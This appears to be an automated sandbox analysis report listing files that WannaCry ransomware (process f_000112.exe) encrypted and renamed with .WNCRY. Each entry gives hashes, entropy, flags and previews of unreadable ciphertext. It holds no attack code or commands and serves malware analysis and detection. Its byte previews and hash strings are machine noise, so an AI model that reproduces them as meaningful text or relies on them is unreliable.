                                                                                                                                                                              SHA-256:0C1832D8D3C6BF7FA0D1BF2ABBE3430675E5F7B6C9AE29EC62C59435A726EC4C
                                                                                                                                                                              SHA-512:72FF45ED818CECB05FFEDD063BDEFE2CCE5BF5570440A7AF3B89C64DB453349AA4E6217671649FAA8E39DFC075AD7560C485ACF56A33A949FE96620B5982D726
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....|EIeq..f.'.-.B..%x.tY.v..:...Jq,c....\../.....S7p....&a..o..f..<..<....]..`..!@uMN..o..R....6]."4X......=.u...3.....Mb.H..1k.....[w...W.h.......~.]....S.z.c^S..n.p......W^.q.+e.....5B0_.XI.@...p..._... .......E.........,uf....1O..:h+...XA....r........oI....W..hr...3.B...1.........Qo.l......U..p.]:.v<4.^%.....X ...VI.b.d.......N..@.m..72zp........._>.`..8o4.4....$..o.HvR./.....T..........[.W...Utv!h....%w.Y?.......t.b;.x.....*.Y.#u......c...Q.<&.qST.....&...H.=..@l......q.2.....w.....q<.^w.b.]...".*Af.;|..d-.AD.#...x.q...N....l.....9.b..M.\%]......zNxd..l.f4....z....'7...4...-........2..QR...T.\.....D..g.w.....x..DZ..'Z..:!.X.H{.B@..|.<.......7...k..K[./..3...b..<.n:..L..u..fFC...&.....R..y.~..=.......T@.4LVYf.Z.Q.4...h....^*.......qeu..<K..v. .C...}.z.....6.f...!..S.N.<.e..w^...l...."F......<R...{US.........]...../...,..P....z...*L.er~....T..A....d.....z.H..d{.Y...%.R..Ly..........F.%.e.....s.UInD...h.X......

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\8ymkR7XnGUAdX0znnUDbeICn9Qw.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):10712
                                                                                                                                                                              Entropy (8bit):7.985178611781836
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:LLrROnlHvldhPtvA88RwZ/uijK1NreycRfUQsPvYHV7zrQj9jRXeQZc:DUPlTPtvA88RVijK1AYNoHdwjhROsc
                                                                                                                                                                              MD5:38C73CCC8DD948762C08FB516B7615CF
                                                                                                                                                                              SHA1:C7FE9CE2726BA1B3FFB020B5346C3A88ED12E6D0
                                                                                                                                                                              SHA-256:289EB50D6B9471C2B45629F7DD2B293A030ECD180F54E53C3B1B5628EBB74EF5
                                                                                                                                                                              SHA-512:33A26FF8D8ADC906E91912FBA5AEA8AA831CDD4493D064C7127DD8F92A4AD1A6907D1A39A4AD592C2B9C6594FC1F37881F3CBBFAB286DD6EE9A55B9ECDE5F9C5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....;f@.<aq..I.(......vP?..".f....F..s...'>v.j..l...^f.Vt6L..J.py<q.........:%.!j...1....O.^z.....f....tr....vs$.$.....6.N.../.n.e/.S..l.k|.[............:.J?....HEp^h..(m....D./....K...W.....l...fR...t.F...f..n).z.}R.Q.!..|.0.....w.#2j...Ou.....(......5.%.._....;m..I...C.J.....Y.!.....BzW.`.."....!;p. ....U:K.l.{...$\...<.. ....S8J...~......f..dC'..m..5M......o..~.Z.1.. .7<....h...u..Dfu....'.t..e.......$5."...Z.z#*..5.1.4.,.u...(<C....V..t.r..@_._..N.....G."?x~v....YK.N...-}k-^..H'.F......<4g..*r...O.........;k..Y...D.:....7..?m.[.A..b[V...".....b. .F..~K......n.&@e.l.s.1..t.^.Z.A.....j....Aj..tb..C....a...Wz%R..#..(.5..obVBx`.......=..8...M)..+K.6..N......~.(...K.]....10.!.19.....YFo|P<.CT.\u.9..m..8...9c..G~R.$.....i{.*..Z......am..w/...D2...-[.....3...4.@Z3....I....s...r=>...GS..0..X.....0..f..k-.0....eL../.Y.J..5O...K..e"._(.D9...).<_3`.....5.5WF.t.p./.j.....[......&....U...R...P#.......+.Z>..Q..n....M..*.......p.*.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\A5JmJm6oR8TLYM66NvehlD7VpZY.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3176
                                                                                                                                                                              Entropy (8bit):7.934410183848528
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oh6vHGiYybTZLn2R2RM12sOwtwTEmBIrLM:+EBHbTR26MrBa4mBI0
                                                                                                                                                                              MD5:5501B9F421EA9FAFF161404EDD1CA995
                                                                                                                                                                              SHA1:1F205851FA1ABB6A04A77BBF6102E13A1FBFF50B
                                                                                                                                                                              SHA-256:EF62F2BE925BFE0A41A9426CE7C06A85F6009516ECC6C968A2E7A9D9E7F74C22
                                                                                                                                                                              SHA-512:63EDCC283B61E80C45B49352EC077CD292EDAAB935C3F3417AE4F5C7736FC9670BD984BC069F6FBEF9B2A722D8CA2829848B4D6FFFF3EEC8FF1B49B0AE63912C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....9c..EF[>.O.H..Y5...[...T...F.r.k{....5O.|~...%[.......T..*P.n.~...-.N.-.c.K...j.t.....'.j..n#.P{........c!..Y....d...'w....B.].m........~j~..L.d./.cZMdY....f.....;.s...n...'..Off.su.@.f.a@91...D....A.z.W..$....L.....Q.AA.[!n!@.J...qkj....!6g. .2....A.......O....3.?8.4....,..+.(!....I.m. .^.....kGm.Q....~7.BG.?..}..].7......N.....%...n..$..M.-...U[4.F..0..GHp.IU..t....<Qt.....y\6I....=.......2V-p....d...e._.V.J...<......V|....H..%(..7..*.X^WA.*.AN......wF..}dl..S.......n..&... ..2......i...S......dh.....wH..<.,..(.......]%R.7V.@..-.o[...J...aM...6..>.....f..8m........HQ.....#t.:H3.q[I..B.T.|....&H..G..t8Rd.=..(..I...8.8km....l../..5jB....:...f....e.j.e...~}b.=>y/3P>~?..4&F.D....L.~.....{..<tB.<._.YO<+:^..e..y.v... ..uCK.Nz...*.....v.yj........v=. ......T.TE....5..k...I....1N.R.9..".l:.%0.vl..u~.1{.(.`..(.4...q.p..\.Pp.h......y~.bO..u.>.QL...2."h..Q....@..V(. .v.eft...hY.VI.b..1.FT.....;...1>5.6..g.'.....z..e9I...|.........d..........x^

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\CLHrhPHUrUN-iFM4IkduCxl7WR4.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):12392
                                                                                                                                                                              Entropy (8bit):7.9845234065600135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:wVSDgO+/H7MBZ2MDmsR4DbGXMTNzKZzjF6oSa/6:pv+/bMkMUbv5zKQD
                                                                                                                                                                              MD5:E2B26838ED670BF8A7AC418C32A68AC8
                                                                                                                                                                              SHA1:EF6F85AE3788040811DB412780FC42DB213B274C
                                                                                                                                                                              SHA-256:4B0928FFF83E31CA241B8FD323DD54D8239874745C30E173B1A9D050CF734028
                                                                                                                                                                              SHA-512:8DE8C61DCF958AA5FD3D6CD43056DC313B3379AF26C6A56DDFE1750B7BC995777FBBE00478DAC6FC6BAD755AA13ECB4A0B547B0952AC49C3BAD60FDB21D4FA2A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....#\#....'.#.._..9....A.o....90..V...h.F.....W!..[.......S%..q....&........(8.R}:..z.......m.........N..S..\..ZMMr.=&.A...}...,c.K.R...3".7..B.*'....>.}.X3....M.&X.+@.uI...t4.q7 .%..Y.K.Zk.6$..Z.E::....pD...u..P....WM.I`.llW...[Zc..|.I.8.............O/......!...H......K...G.B....}...Z..@.:.S.#..7..1*...T@d.z....]..z..;.;._.rj.p...x.].o..2y.....p..8.W.k.ii..6.=TE.t...c!.Z...Q..(..0......+...+,..[B!.7....../.....S.....:..Z.dbBX..O..m.|.......;...E.,UK7Y.).>a..w.i0.4...H..+O..C]a.S..{f...._.....:..ak.}.t.U..`....9...T.Z.D.X.[cfY~..1...a.w).+g..z..=.G...1..|...B%|.+..\(1..`un....j.@.Tn8..bc.....q.mv...X..y.J.._D..Ev.np..S...G.$...C...<$....:3b>..-...zSP.....V....y\.gJ..~..<9..BC....XZ.bg..Y....-.......G..Jq..;Q.x...I.yq.L|.*....,..Y.e..c....W..|..zE........3...fX...`6W.=....am..,.H.B.oh.p.E..xv.$.q..NQ,.?......._..J..7..D}....})s.*..4........:.q"}..j .H.T.cU.....`....n$.n./......).U../......l.{.....}..c!.hE.....(.Y...pd(KHuD.......J_...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Cj4mQnDN_eMyYEqsEbjRrJ2Ttec.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.148607556755582
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE/SIZ72epX1tgqueN4F4pp6ZHwlJooaT986WneA1W5K+URklXSKB/:bkE/SIZCepXs/F4pp6ZH+JooY9KAqRsj
                                                                                                                                                                              MD5:4D9860D7B887C2E176DCFE2451144D3D
                                                                                                                                                                              SHA1:DC29DE810F94244EC6F41045243ED3C0ABEB4AA7
                                                                                                                                                                              SHA-256:5FF4027728BFC2783A2090219440CF32380DAF7FF2EB5375B2B5FA353A5B5A54
                                                                                                                                                                              SHA-512:2EF29DE3B4B1F731DE874AD9746CD832E27938313116CA7A6D694122B1290925F108708B363BB605A5AB0D0FDF590888F246563AF437D02D6BA7730F979AC21D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....j..z..}......N6......./..T%....V.....'..!.E...Uv.A.3S.k.#.......}.2h...9.@....7P........9...h.N.{\j.._B...T23A.A.n...""..c...7.#.`......O...........l.f.....8..v.@:d.g.M?6H..U.C..W.I_S....&...m...f.u6+...L-<.. Y.0+...1..=.o....Z.....oeY..D.hI.'.>..............f...}.z...d.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\D-oNnp40DqC4OQCR13oBZlsQ7cc.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):15032
                                                                                                                                                                              Entropy (8bit):7.9866725233828975
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:yr5hpckuIdZhNJFzQxy5U8bzIRI2tj5s46moUl9iEqoPVicOzpMWsf:uHpckuOZhjtl5U8b8Lj5TGOHqoPVi1zQ
                                                                                                                                                                              MD5:92443BEBEB48B447E9591D74C0506179
                                                                                                                                                                              SHA1:AE7496C285C1F552CBB2D4D70EFAD7C41CCB31B2
                                                                                                                                                                              SHA-256:DF0D7C5787E9FE7D810A61FD462A5D26A43CAFCC2A4F894C9A681682974508F9
                                                                                                                                                                              SHA-512:8994D880963BB165185F87C9E688D6CD27C5964B45BDAD35D9D477B4D48E82DC0E38FD874C3595373EC90FD310D9FE394299AE763C9215A4280225D3C3C5CFC1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......0..Z....p<.5R..4Wn.pz.A.J.)..#.oUu.Q0..RR.ax.0..b.H.b.eB...b.>./..... .hV...z......Pvt......-..f.....f}.v..2..".l...be.2._..}....<.<Xq].7...,.....,...GE'.....8...t...fA.v:...~.O.l....Y.y.N.\C...B..-.M.A.....|...T...(..)2.%.6..l#..6b.#:Q.8r........9......ze..#.....|..?-..q.,.&-..r.E].0....}z ...uX....j.~*y...y..../AL/......]j....6o...[^...+s.;'o....m....._L.Pq..P.v......Tw.m.X....tx... q.@.)....wBK^'...z.EG~..Q.|..J}l#........1P.Ki...|....Nf~.c....>..H.M.?.m.QcmZ,..>.'8.s....d.....,..+.......M. ..............T.ru..S:..~..@.y.% h%t..UB.t....Y.+..=oD.*.i.["..JB#C.p.*.....).|...,Y.Wh.p6..,....O0.Z..P{..yKV.W.~.B.t~4Z^>h]..Y_.X....q.....In..F..km[..r.M;..?. ...o.....@......j..2..Lkr.b...xQ]..L.<.<._4..{..lG.k.\.I..LWy:.....O.S[..N..b.A...>Z.>#....6...Xd....S.J....=.npst%...B<W1~?...#P....}..w[y...h..........'H4..."Xk..<.Q".&........|.N. .....{...T...d....{.6..-.5b)..bT...4...Wz...[.....=L......D..RP.WM....S..{......W..p2,(.E..3a.....].

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):131672
                                                                                                                                                                              Entropy (8bit):7.998837767845572
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:BxsANNeUDFTcv0QUo0No3z4zMMUf9AfuydIVNslU1aU+tliuvMt:Bnsr0QUNo3zahGTVJOf6
                                                                                                                                                                              MD5:2086590DDFA1EB0386765000AF51D75C
                                                                                                                                                                              SHA1:D681AA4A7E13823F68C456390125FB7A50643F65
                                                                                                                                                                              SHA-256:F2764B57B759820A09BFDB52299BDB85EC6808BD672F5BD26E6B6CCDC4B706AB
                                                                                                                                                                              SHA-512:08EA285EE64781964BDDF07DF38921CF753D5A425521B547CB7FA62F1909C84C3B7C8EABDA89503918421501F032BA6A1B41E24CF785851AE5CC341D423C8381
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....b.[..[v1.s.b..S..z...Z.e..Z......e.Vk.x.N...#ow.... .lX].3.G.u...|...v|..?...8/..P...Se4p/.aXj*9..Jz....."".OO......P.F...+...,..u..........I..>WQG...u....:.]>.X..1..ii.w.....W...X.Ew.!5L..q...=...TX.-..Il.... }.h.d..,.[..-'....@.....e..EV.0....<.......4..%Oc...*>"...W?..{.Z.....".N..c.f...|.....(.L..@.>....53.A..f.:....+......S..l..n.Nt..iJ..d...U ....k.d1.jN..!.Y......:|7.:]....{...!...H..V....I....Nu+:....i.oR._.D|'.6#...u.o7..+.7n....B7.r..l1......x..]>.R...\..@;.P...b..f.o.x:x......(5.....ygt...s>.5.};..u $C.....Q...v.Bds.GJ..S....Mp..$9ET&..vS.G2.........a..N...3.W........V.7.H.2...Wd.M6f.g...C.....jl?u..s..>.e..C...@..".t...gH!S...{.d.G.&>^..a.5r...F.{...........N.r.3..{......$.U.d.)8.}.Zn*...?.O-7.?0qnyw..0G}.z.G?.q...g...B"..*..,i2G...m....<...R..r.._p'...?/..Ft..}.1..v5m..|..)..AW.;1.M.2..;.:.....e...z..8}K....A.p....bw.R..9..... B...0pq..k....x&..yU.h..r..w.b....~..*.....7Y..j.YC.I....5!\.e...h.k$...Q`.=|x.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Dj6m3cC0PNbgt98rgkHoHGstYio.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):9272
                                                                                                                                                                              Entropy (8bit):7.982107485815674
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:lJBjCy3sYPyK243Kd1WUg5/OhOH694pPCneMGtR3:lDjCy9P846DWz5yf94pKeB3
                                                                                                                                                                              MD5:ACEE5733A364759E38D4E9A1AF163CFB
                                                                                                                                                                              SHA1:CAE0046F9308DAE63892411D14FA7FF6CAA786FC
                                                                                                                                                                              SHA-256:A53D47749CB41CBB0722EE110138EBB74C773024EF94DA6FDA0C00E38377C5F5
                                                                                                                                                                              SHA-512:0AA7AFE68C7A04E23333DBF1AAB023C23F85BBCDD6F04CA19E6796AC632CDD2521FD7600F7140BF5A2EAED075DD83949C8147B64DBE06C878190BB05DFE368EC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Zp..s!"N....o..>...$. .Uv......5".....}...Y.....'n+.!....y..n...os...^.....U....\h(..d..k.RI......W$...a.vxC..C....@2b...0.(...Vt...z!.U..,....>\..:q+.#....<.Y...Jy....%.p.A.[n.....Lt.?....N.!...s.T..s........H..t.....]..h.........459..U..i.......#........I7.R..........._..<N..p|....~.b.0Fw....jmG..2z.t&..*.eW..{$"5h..UeE..F%...u..U....q...Q.,...3..s.$q...(...4f.:.....t.U.H).hc.vR.%...[....9|J...j..C1..T......!"...D....d.,?.....h.l..F.........u.............WD.WiS.r....1f..\5....4VJ.p.1!......;..c`l[...M....0.S:f.b....PA.....l.L.7...hU...Y.Wj.qe.u.t.P.,..\...f...F.LO..._SJ....z..q.....4.F{~:.......D......<.h....M.I]C..C........#mH/3..h!...Z.D..*.h..sG...{Mq..3.ZU.;..=.:.d.h:.".8... ..r..L.U..e..<...W......1BEZ..r.2~.O.f.....|5U...vv.....t(...1....N.8.....y....2@.K..J.]tb.....CP.@r7.."#......I..wU.G3A.x..xA?...n...gP..dKf......!\....J....|....o...B`..=.... .P..%3.a.x......,..Z......[G.i&c.y.7.c{-.s_.<-..N/.-...AZ.9..3.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):17784
                                                                                                                                                                              Entropy (8bit):7.990313315919704
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:HfwnKZ4W13BTNXkhXnPCUwg3FBAZNnn49CTeKHfW:HfilsNkFC7g3L+nsCjfW
                                                                                                                                                                              MD5:E8F4FDC2F9ACA0B2BA9C6DFDD63888FC
                                                                                                                                                                              SHA1:89FD3CEECA7A5C62B9595CAD68B13DE60E6ADDBA
                                                                                                                                                                              SHA-256:6474F0EF955EA09EAEA45F746A79495A148FF10EF7697AD0E2FDB4DC54F7A547
                                                                                                                                                                              SHA-512:86B1FA58203FACA8B65994A7DB4461E61539ADAB79A9000848BB158C9D28B282D633A420C1A4FED8663FAFDC98AA5A3AA9266C2CC18454AE1A4D577E8B0C144D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....^...(.A.......KJ*.X.m.9....U.V....YD!.h.J.. L......}.\.s........(K..|V...}...l..,.{.x....B....+.3..S.|......4....0..<u.b...L..eP..&.K..Mxr...X...9<..$p...^..D.!...9.bO.+Zk;.`c.0.!...8.z..G...V...a...RD.2:......!zxe...B.]xs.....)X..]...J.Y.....ZD.........{./..a9........K....o.+......+.S.u_l..|..c.....@_...,.#gMN...W`fE.7.D....E.;.Z.7g.@..\.......<..i.........tbM.,dq...5xX.m.)3..c.>=...cZ&..T...!ua&..]....G0.`..R.9.....s.h..!E$....5j0..]..O5..G]...M..L....:w+....J...%._HH.*G...v6.!..(N..N.$.....&....[tM.7T.....+.~=.e.8...j.}.5..t..-Y.ik.3.~jF.....UYf4..%Z.2..j..D.c......1P...$"..A...\....).a..c=..#.ju..M.@.......0...O.e...b........[.M....h .}.h....'........R....C...O.....\g..y'...I`.rm.....JD%.y.N/K?S...f..9x[y.$.E/M. w.g...o...v2..O..?...|.C..8.eE[..6=.*....I?l..G....u.Qk.H.$...0O...J1>....].D.F(.?.......`ok...b....i.s......n....SO../.....x?8...Z.......:v.|.hB.o8+..1*P1.._..b.............k......^...z..XR..o..1..c.N..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\GW3DpE2qmyibnbFrEIzpiD0iGLk.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):776
                                                                                                                                                                              Entropy (8bit):7.735893391030899
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkT9EAt0vorkF/LXjZwoMGNX6zkRxNvKBoYUMX:bkRvqLzZwxq6zkR/vtRMX
                                                                                                                                                                              MD5:1EA36C8E269D3074ED42A10B026A6D46
                                                                                                                                                                              SHA1:0B503D5A5B2F448EE34EC7B9C11452C2C4FDA857
                                                                                                                                                                              SHA-256:FC04EEDAC2006A8DB383140597CAD2B8FFB9DFE0F45EA8D9BAD13C4FC0980953
                                                                                                                                                                              SHA-512:A5D5F87E924C0F17B48FA2D85BCF34CB38FD1A6764009422C6EDD5A628E451FDCE668E94E2A77676D9B9C6C20F01E49C0589BABFC62AB89ADAC2F5685E2CB512
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....g..l......l.h...Wygp.S...g....{^QLO....L...?...,..q..],.S .6&Gy..L.?..C.[T$.../f:Z=_....^.....f.........'.{&.-.LZ.#V$C..vY$..J0<).n..<.....V.......jLw-:....v..... .)%......6..v.[..l.c.z........u..T..../.....sMP......,pI.bv.E~(...\#....~.\t...4............T....ucAa..z........#J....C.{..w.B!a.....hQW.~*..E.YG..Y...R..?...K...V\....S.......5....s....d..c"...^l..M2....+.j......".$/VZ...{..k.@|t-..~.]<q..s!... ,....j.W{>pX%.YO4.Xs......n......t:.`.$w..2v."E.*.Z:5.....t.G........~..J.........N........,.5.O4...b.r.5.l.*.......9..0t4.{......>....b..3.z.......<..w.4m.9.CP.Ze..;.. .....^8:.JBm.+i.o.y...@....g.<...p.]..?...)....g ...!v.v.:.pB...Z<..t~.w...-..]./d.."...w.M..E...ob+....U...a*..y...p..$..DTTZ..9........A..).`.t.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\HSDak9V_lmtkNU64sorwQW-6T38.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1810872
                                                                                                                                                                              Entropy (8bit):7.9998840940996745
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:JzPWNaVhAuzA4HOlOhDegC6WnhDIB9F2DDfPkUk4:aNu04HOlOVCnhEB92fPkUk4
                                                                                                                                                                              MD5:074CCEDD37C483C3BC49E893B8F46462
                                                                                                                                                                              SHA1:4711B926715730D055F3E8CEE4DED634D9BCE849
                                                                                                                                                                              SHA-256:981C9F1DBCB7A88CA7CD288E0622DBD8240CDD007DF23FB3B39D6B1830711D6B
                                                                                                                                                                              SHA-512:158C2572EB06209A2679004C2354D00BB82EF72313C90F66EAFA85F37849EF59D149260EC53F4CCCB256BB6D9F75062DB483E5ACF836181FECA2384E702584C8
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Y.i@.g%.+[jr.2z4......wr.0H..|H.8.l.q3h.s.`8F.+..}...3..'.'...#....8.M...8..I..jm...jA...........,..."..m..T....t..../S...Xa1.H#.[....Y.#.2..(x.G...s^*..P.%.....^~......[.0...>.Zn......m.'4..a...Lh..34.v-...l...........(..F..J... .5l......k.............|......v.2...?.h...c .."..Yo._...E.%.C.i....i.@r*w...........-j.C......V.G\...^..zb+...4<./I.4'..^..B...f.>...x...Z.Z...."...<....k.U4.K......:I..]...I.w.;...........h....g...%;s....Rtm..........T/..$+...?..(.&..JSU.k.........bL..G$@..'_.....|....?..^0..Y..Gm`.V...Z..`h....&.9..T.O[M.p.aW.rJ.E.p...w........i.1~..`..Q)..KZ.;.x....A..j.Arag..78.'.?..x......8..#....+Y2_.....Nc.@6..G.3`....2.N1.......![.Z.g=v..E(X...'gi-.D.P..0y)..........Ig..+.k&.R.......&.F...K... .7.E.o..._..jj.U.]......^....<t.:..p...$....\]5...s......f....;..`.-.<.J8..!......n...{..bGd.\\=.J.0.8.<......u.T.U..(.=..*}.M...'.R...-yL.3......@bV`o.VW.=..).......{....-.....$......if.t....|......f*..DU.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ix6gLNUjdsfo1b44Xv9sX0Ilnxw.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):89784
                                                                                                                                                                              Entropy (8bit):7.998031969685344
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:YCnHSGZcwvmRckUTwb+S6KudmLrJEir2RP7EFarbNOeh7cs8kP5M3Xtt8yxNJE0:YCHSGZcqmR7Swb+S6vmPJEir2RP7EeOf
                                                                                                                                                                              MD5:7DA4169E4C33146EBDCCF397E840625B
                                                                                                                                                                              SHA1:8AC3882B672888572A64528F8503CE7BF3C8B45B
                                                                                                                                                                              SHA-256:9A9932BB5940550D95529ED92C2202F7F30CA166F19C86730EA1C32D27D59BFF
                                                                                                                                                                              SHA-512:8C2AAECD76153C3CD498F92D8BBC6299267B5F6FFAAE38DC96271F628A65E513B5FFDE7761851B4EF892D2AF0D3A7597CFB75139A6EB7942D1957668532B6626
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....O..C.b..il.h..e.#...9+e.z...`...T.J.J9C...>hPhS......mN.:.t.J.a.......l..Y$:0...$.....#..J..6..<dI.sQ..j..A...1|g..._....9..a..p.>....Wg.7{S.g..zm.}..Lg...i..[...;.vF:..v_.G79...W...R.^1.@4.b/S..Up....<.1..f..2iK.,.._.-B......&.h..b`2]F]..U.@........]........Z.... .,.......?.5d'..;..m..%.#F.7.[k...._...U.S.2..........ZN.........c...q-".....3`.<..9.x....;..g.M+6Bw..).}.6|.8.....W....E).V..t...H.{dT......%_!..m.2.Gs..ck.h|..P.<...r......]O...M...7..xJ..*l.O.C...$.)v<\..Z..l.d.4.)...^...._.k..q...Dm!q>..P&4.Bp.gJ....A.*GWZ.,......G........o\.....g[T.......mz..If7.......w.Qax.....w.Q...q2........+B....Iwbg........p..*.<....x.Az.f)8..T...Z..9..~..2..jq.L...!...:(pf%{..r..(9.bXp,.=p.b|..[.....ZI.w|........E.E.^...e.k..A..C%...6.G....[,..j:Gk.R.Q.......E.K Gp..aq..s......p...GB..bR...(...?U...v.O.{.|.#.W(..E.{.8.'..].7r...<... 4......f![....\..1...wm..h.s}.B.sK.l;.....?c..M....O.'z*Y..l.|.....-V.C.P.../7.NSg.:...g...zH...h...6nI.L...4e..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):467448
                                                                                                                                                                              Entropy (8bit):7.999619344595319
                                                                                                                                                                              Encrypted:true
